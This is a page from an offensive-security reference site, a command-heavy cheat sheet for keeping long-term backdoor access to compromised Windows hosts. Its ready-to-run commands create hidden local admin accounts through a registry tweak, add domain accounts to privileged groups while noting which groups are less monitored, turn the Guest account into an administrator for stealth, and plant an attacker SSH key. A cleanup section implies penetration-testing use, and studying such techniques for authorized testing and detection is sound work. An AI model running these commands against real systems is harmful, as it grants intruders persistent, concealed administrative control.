# Windows Account and Backdoor Creation

> Creates persistent backdoor access via Windows local accounts, net user commands, and administrator group manipulation to maintain long-term system compromise.

- **URL:** https://hackindex.io/platforms/windows/persistence/windows-account-and-backdoor-creation
- **Path:** Windows > Persistence
- **Up:** [Persistence](https://hackindex.io/platforms/windows/persistence.md)
- **Published:** 2026-04-04
- **Updated:** 2026-07-14

Creating a backdoor account gives you persistent access that survives payload restarts, AV detection, and service removal. A local or domain account with the right group memberships lets you re-authenticate at any point. Common re-entry protocols:

- RDP for interactive desktop access
- WinRM or PowerShell Remoting for command-line access
- SMB for file access and psexec-style execution
- SSH (if OpenSSH is installed or you install it)

This is the most straightforward persistence technique and the most visible: account creation is logged and monitored on hardened systems.

## Local administrator account

**Create local backdoor account**

```powershell
# Create user
net user backdoor Password123! /add

# Add to local Administrators group
net localgroup administrators backdoor /add

# Add to Remote Desktop Users group (RDP access)
net localgroup "Remote Desktop Users" backdoor /add

# Add to Remote Management Users (WinRM access)
net localgroup "Remote Management Users" backdoor /add

# Hide from login screen (requires admin)
reg add HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList /v backdoor /t REG_DWORD /d 0 /f

# Verify account was created
net user backdoor
```

**Create local account via PowerShell**

```powershell
# PowerShell method
$Password = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
New-LocalUser -Name 'backdoor' -Password $Password -PasswordNeverExpires -AccountNeverExpires
Add-LocalGroupMember -Group 'Administrators' -Member 'backdoor'
Add-LocalGroupMember -Group 'Remote Desktop Users' -Member 'backdoor'
```

## Domain account persistence

On domain controllers or with Domain Admin privileges, creating a domain account gives access to any host in the domain. Adding it to Domain Admins is the most powerful option but also the most detectable.

**Create domain backdoor account**

```powershell
# Requires Domain Admin or account creation rights
net user backdoor Password123! /add /domain

# Add to Domain Admins (very noisy: detected quickly)
net group "Domain Admins" backdoor /add /domain

# Less noisy alternatives: add to groups with sufficient access
net group "Account Operators" backdoor /add /domain
net group "Backup Operators" backdoor /add /domain
net group "Server Operators" backdoor /add /domain

# Verify
net user backdoor /domain
```

Adding to Domain Admins generates event ID 4728 and is monitored in most environments. Account Operators can manage user accounts across the domain and is a less-monitored path to persistent influence. Backup Operators can log on locally to domain controllers and read any file.

## Enable and repurpose existing accounts

Re-enabling a disabled account is less detectable than creating a new one because the account already exists in logs and monitoring baselines.

**Enable and modify existing accounts**

```powershell
# List disabled accounts
net user | findstr /v "active"
Get-LocalUser | Where-Object {$_.Enabled -eq $false}

# Enable the built-in Administrator account
net user Administrator /active:yes
net user Administrator Password123!

# Enable Guest and add to admins (very stealthy: Guest is often ignored)
net user Guest /active:yes
net user Guest Password123!
net localgroup administrators Guest /add
```

## SSH authorized_keys on Windows

Windows 10 and Server 2019 ship with OpenSSH Server as an optional component. If it is installed and running, you can add an authorized key for persistent SSH access that does not rely on password authentication.

**Add SSH authorized key**

```powershell
# Check if SSH server is installed and running
Get-Service -Name sshd
Get-WindowsCapability -Online | Where-Object Name -like 'OpenSSH*'

# Start SSH server if installed but stopped
Start-Service sshd
Set-Service -Name sshd -StartupType Automatic

# Add authorized key for current user
$key = "ssh-rsa AAAAB3NzaC1yc2E... attacker@kali"
New-Item -Path "$env:USERPROFILE\.ssh" -ItemType Directory -Force
Add-Content -Path "$env:USERPROFILE\.ssh\authorized_keys" -Value $key

# For Administrator: keys go in ProgramData for admin users
Add-Content -Path "C:\ProgramData\ssh\administrators_authorized_keys" -Value $key

# Fix permissions (SSH on Windows is strict about permissions)
icacls "C:\ProgramData\ssh\administrators_authorized_keys" /inheritance:r /grant "Administrators:F" /grant "SYSTEM:F"
```

**Connect via SSH key**

```bash
ssh -i ~/.ssh/id_rsa $USER@$TARGET_IP
```

## Cleaning up

**Remove backdoor accounts**

```powershell
# Delete local user
net user backdoor /delete

# Delete domain user
net user backdoor /delete /domain

# Disable Administrator and Guest
net user Administrator /active:no
net user Guest /active:no

# Remove from SpecialAccounts hide list
reg delete HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList /v backdoor /f
```